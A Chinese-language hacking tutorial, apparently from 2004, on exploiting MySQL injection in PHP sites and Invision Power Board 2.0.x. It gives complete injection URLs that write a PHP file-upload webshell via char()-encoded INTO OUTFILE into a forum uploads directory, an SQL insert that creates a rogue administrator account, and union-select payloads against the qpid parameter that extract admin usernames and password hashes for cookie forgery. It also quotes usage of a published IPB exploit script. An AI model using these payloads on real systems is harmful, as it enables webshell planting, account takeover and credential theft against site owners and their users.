我前段时间写了一篇《MySQL注入中导出字段内容的研究――通过注入导出WebShell》(http://www.4ngel.net/article/37.htm),是查询数据然后在生成文件的,现在我发现其实不少PHP程序,比如IPB就是把数据处理过了,再插入数据库,一般是htmlspecialchars()之后,插入数据,所以利用该文的方法,就行不通了,即使把webshell的代码插入数据库,生成出来的也是被处理过的代码。用不了。
近段时间在测试一个PHP网站的时候,由于在load_file的时候,看不到文件的内容,所以我就怀疑是不是字段的原因,因为那些全部是int类型的,还有少数是VARCHAR的,我当初以为是因为这个原因,其实后来进入以后才发现是没有FILE的权限,我不断的换URL提交(注意,写文章的时候,该网站已经修补了漏洞,现在是本地演示):
http://localhost/111/show.php?id=1 and 1=2 union select 1,1, char(47, 104, 111, 109, 101, 47, 119, 119, 119, 47, 99, 111, 110, 102, 105, 103, 46, 112, 104,112)
屏幕上显示了:
/home/www/config.php
路径没错啊,文件也存在啊,难道没有权限?暂时放下这个,这个站点有可写的目录,是ipb2的论坛,/ipb2/uploads这个目录是要设置成可写的,上传附件才能正常使用,我就想利用插数据,导出文件的方法,因为我看了phpinfo(),magic_quotes_gpc 是关闭的,所以用into outfile没有问题,然后在本地测试了一下,发现提交的代码:
变成了:
多提交几个地方,均被做了处理,看来这样我的这个思路又不行了,突然想到刚才看路径的时候,能用char()函数输出字符串,那我能不能直接写上传代码?
这个转换为10进制是这样的:
char(60, 63, 99, 111, 112, 121, 40, 36, 95, 70, 73, 76, 69, 83, 91, 77, 121, 70, 105, 108, 101, 93, 91, 116, 109, 112, 95, 110, 97, 109, 101, 93, 44, 36, 95, 70, 73, 76, 69, 83, 91, 77, 121, 70, 105, 108, 101, 93, 91, 110, 97, 109, 101, 93, 41, 59, 63, 62)
我马上提交:
http://localhost/111/show.php?id=1 and 1=2 union select 1,1, char(60, 63, 99, 111, 112, 121, 40, 36, 95, 70, 73, 76, 69, 83, 91, 77, 121, 70, 105, 108, 101, 93, 91, 116, 109, 112, 95, 110, 97, 109, 101, 93, 44, 36, 95, 70, 73, 76, 69, 83, 91, 77, 121, 70, 105, 108, 101, 93, 91, 110, 97, 109, 101, 93, 41, 59, 63, 62)
屏幕并没有显示出我们想要的东西,我查看源代码,发现
这个代码老老实实躺在里面,如图:
screen.width-333)this.width=screen.width-333" border=0 twffan="done"之所以看不见,是因为浏览器把“<”和“>”之间的东西当成HTML代码解析了,这么说是可行的!这样的好处和插数据,导出文件相比好处在于:
不用插入数据,因此不用考虑数据类型和长度,也不怕做处理。
只用知道一个数据表就可以使用into outfile了,无需知道字段。
因为之前,我猜到一个user表,我也不用去知道字段了,有字段作为查询条件只是为了防止数据库很大,导出所有数据时很慢的情况,我现在马上就提交:
http://localhost/111/show.php?id=1 and 1=2 union select 1,1, char(60, 63, 99, 111, 112, 121, 40, 36, 95, 70, 73, 76, 69, 83, 91, 77, 121, 70, 105, 108, 101, 93, 91, 116, 109, 112, 95, 110, 97, 109, 101, 93, 44, 36, 95, 70, 73, 76, 69, 83, 91, 77, 121, 70, 105, 108, 101, 93, 91, 110, 97, 109, 101, 93, 41, 59, 63, 62) from user into outfile '/home/www/ipb2/uploads/upload.php'/*
马上查看,如图:
screen.width-333)this.width=screen.width-333" border=0 twffan="done"注意:因为我这里说是用char()这个函数写的。所以就用这个来说明了。既然能用单引号就没必要用CHAR函数了写东西了。可以直接这样:
http://localhost/111/show.php?id=1 and 1=2 union select 1,1, '<%3Fcopy(%24_FILES[MyFile][tmp_name],%24_FILES[MyFile][name]);%3F>' from user into outfile '/home/www/ipb2/uploads/upload.php'/*
其中:?=%3F、$=%24,注意编码,晕……我怎么觉得这篇文章有点多余啊??都写到这里了,继续吧!我只是为了告诉大家可以不用插数据了。5555,就这个意思而已也写了这么多,我发现我这么久没写文章,逻辑性变差了,没有条理了。各位将就点吧。
做个表单在本地提交:
< input NAME="MyFile" TYPE="file">
< input VALUE="提交" TYPE="submit">
< /form>
传了一个phpspy上去,呵呵,phpmyadmin的密码知道了,马上查看了表前缀等相关信息,执行SQL语句:
INSERT INTO `ibf_members` VALUES ('999999', 'angel', 4, '', '4ngel@21cn.com', 1102196142, '0', 0, 'Administrator', 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1102228365, 1102324215, 0, '0', 0, 0, '0', '0', 0, '0', 0, 0, 0, '2a841e6789e0bcee72d86cd911b9405d', 0);
这样就添加了一个IPB2论坛的管理员用户名是“angel”,密码是“thepass”,呵呵。
到这里还没有说IPB2的漏洞呢,现在补充一下怎么利用,因为这个测试的站点就是用最新的IPB2.0.2,所以顺便把我测试的结果写下来。真是不好意思。我通过IPB2的注入又进入了一次。
看了看IPB2安全公告:
http:/nothing/bbs/index.php?act=Post&CODE=02&f=2&t=1&qpid=[sql_injection]
得知qpid这个变量是没有过滤的,我先提交:
http:/nothing/bbs/index.php?act=Post&CODE=02&f=2&t=1&qpid=1’
返回:
mySQL query error: select p.*,t.forum_id FROM ibf_posts p LEFT JOIN ibf_topics t ON (t.tid=p.topic_id)
WHERE pid IN (1')
mySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 2
mySQL error code:
Date: Monday 06th of December 2004 09:14:34 PM
看到了吗?执行了什么SQL语句,都反馈回来了。从这里可以看出’(单引号)已经被过滤了,转为10进制,变成'了,所以用into outfile没有办法导出文件。这里如果构造出有效的语句,也只能得到敏感信息了。
mySQL query error: select p.*,t.forum_id FROM ibf_posts p LEFT JOIN ibf_topics t ON (t.tid=p.topic_id)
WHERE pid IN (1')
从这里看到SQL语句后。我再试着构造语句,利用union联合查询,可以得到任意数据库、任意数据表、任意字段的内容。提交:
http://localhost/ipb2/index.php?act=Post&CODE=02&f=2&t=1&qpid=1)%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,name,12,13,14,15,16,17,18,19,1%20from%20ibf_members%20where%20id=1%20/*
可以看到用户id为1的用户名。
http://localhost/ipb2/index.php?act=Post&CODE=02&f=2&t=1&qpid=1)%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,member_login_key,12,13,14,15,16,17,18,19,1%20from%20ibf_members%20where%20id=1%20/*
可以看到用户id为1的密码MD5散列。
如果论坛太大了。找不到管理员的ID,直接用“where mgroup=4”作为查询条件可以了。我也不多说怎么构造了。大家如果不明白构造,可以先去http//www.4ngel.net看看相关文章。有了这些敏感的数据,就可以直接COOKIE欺骗了哦。IPB2.0.0-2.0.2的COOKIE欺骗的漏洞细节,可以在绿盟看到(http://www.nsfocus.net/index.php?act=sec_bug&do=view&bug_id=7181)。
RusH security team发布的IPB2的exploit(http://www.rst.void.ru/download/r57ipb.txt),要求的参数比较多,居然还要知道SID,如下:
## r57ipb.pl 127.0.0.1 /IPB202/ 2 1 3edb1eaeea640d297ee3b1f78b5679b3 ibf_
## ------------------------------------------------------------------------------------------------
## [>] SERVER: 127.0.0.1
## [>] DIR: /IPB202/
## [>] FORUM: 2
## [>] TOPIC: 1
## [>] SID: 3edb1eaeea640d297ee3b1f78b5679b3
## [>] PREFIX: ibf_
## [>] ID:
如果成功利用了,就会返回,
## [ REPORT ]------------------------------------------------------------
## MEMBER_ID: [1] NAME: [angel] PASS_HASH: [2a841e6789e0bcee72d86cd911b9405d]
## -----------------------------------------------------------------
## Now you need edit cookie and insert new pass_hash and member_id values.
##~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
而且他们是CONCAT(id,char(58),name,char(58),member_login_key)这样来判断。自然没有我们直接返回这么潇洒了。不过工具也只能这样了,手工的话,我们只用知道构造就行了,仅此而已。
工具只是武器,技术才是灵魂。毛主席说过:自己动手,丰衣足食。